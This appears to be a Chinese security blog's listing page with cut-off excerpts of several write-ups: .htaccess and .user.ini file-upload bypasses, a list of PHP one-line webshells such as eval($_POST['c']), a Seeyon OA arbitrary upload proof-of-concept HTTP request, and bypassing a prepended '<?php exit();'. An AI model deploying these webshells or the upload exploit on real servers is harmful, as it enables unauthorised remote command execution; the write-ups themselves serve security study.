前言之前对.htaccess文件上传漏洞的理解还是有些太浅显了,故在这里进行补充。简介.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个通过Apache Web服务器加载的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。.htaccess文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。.htaccess文件上传漏洞我们可以通过上传.htaccess来将图片文件解析为可执行文件,来执行我们上传的图片马。常见利用方法#在当前目录下,所有文件都会被解析成php代码执行 <IfModule > SetHandler application/x-httpd
信息收集打开题目,发现文件上传位置,猜测考点为文件上传。尝试上传一句话木马1.php。不允许的后缀,经过测试其他绕过后缀也无法上传。图片头检测,在一句话前加上GIF89a。PHP标签检测,使用<script language="php">@eval($_POST[cmd]);</script>作为一句话木马。成功上传,但是由于后缀为png无法调用PHP引擎进行解析。考虑使用.user.ini进行绕过。.user.ini.user.ini这个文件在PHP 5.3.0被加入到PHP中,他的作用类似Apache中的.htaccsee文件,其中两个有趣的设置:auto_prepend_file和auto_append_file我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置
一、文件上传简介当今大多数网站都允许进行文件上传,可这是一个十分危险的行为,未经验证的文件上传操作会导致服务器权限被窃取,也就是getshell。当网站对上传的文件格式验证不严谨存在被绕过的可能时,就会导致未经授权的任意命令执行漏洞。WebShellWebShell分为很多种,如大马、小马、一句话木马,总体上属于木马(Trojan)病毒,是一段具有远程命令执行功能的恶意代码或是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。这里我们重点介绍一句话木马。一句话木马一句话木马的特点就是短小,十分精简造成的功能又十分强大,可以产生远程代码执行或远程命令执行的功能,不同的环境有对应的一句话木马。PHP一句话<?php eval($_POST['c']);?> <?php if(isset($_POST['c'])){eval($_POST['c']);}?> <?php system($_REQUEST1);?> <?php ($_=@$_GET1).@$_($_POST1)?> <?php eval_r($
原理未授权访问文件上传点导致任意文件上传漏洞,目标文件的一个参数将文件经过。影响范围致远OA V8.0;致远OA V7.1、V7.1SP1;致远OA V7.0、V7.0SP1、V7.0SP2、V7.0SP3;致远OA V6.0、V6.1SP1、V6.1SP2;致远OA V5.x;致远OA G6POC & EXP手工arguments接收一个Gzip压缩后再URL编码的字符串,payload中的恶意代码将在被解压之后写入指定文件中。POST /seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip HTTP/1.1 Host: ip:port Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Prest
场景在写入PHP文件的操作时,在文件最前面添加<?php exit();?>,使得就算用户写入了一句话木马也无法调用执行。通常存在于缓存、配置文件等等不允许用户直接访问的文件当中。一般采用这种形式:file_put_contents($content, '<?php exit();'.$content);如果插入一句话木马:<?php exit();?>//PHP解释器执行到这就会中断,导致后续一句话木马不能执行。 <?php @eval($_POST['shell']);?>漏洞源码<?php $content = '<?php exit();?>'; $content .= $_POST['txt']; file_put_contents($_POST['filename'], $content); ?>代码审计将用户输入的含有PHP代码的数据拼接死亡exit之后写入文件并保存,同时文件的名称也是由用户指定的。若要注入一句话木马,就需要绕过死亡exit。base64绕过我们可以利用filte
Equinox
一个乐于分享的网安人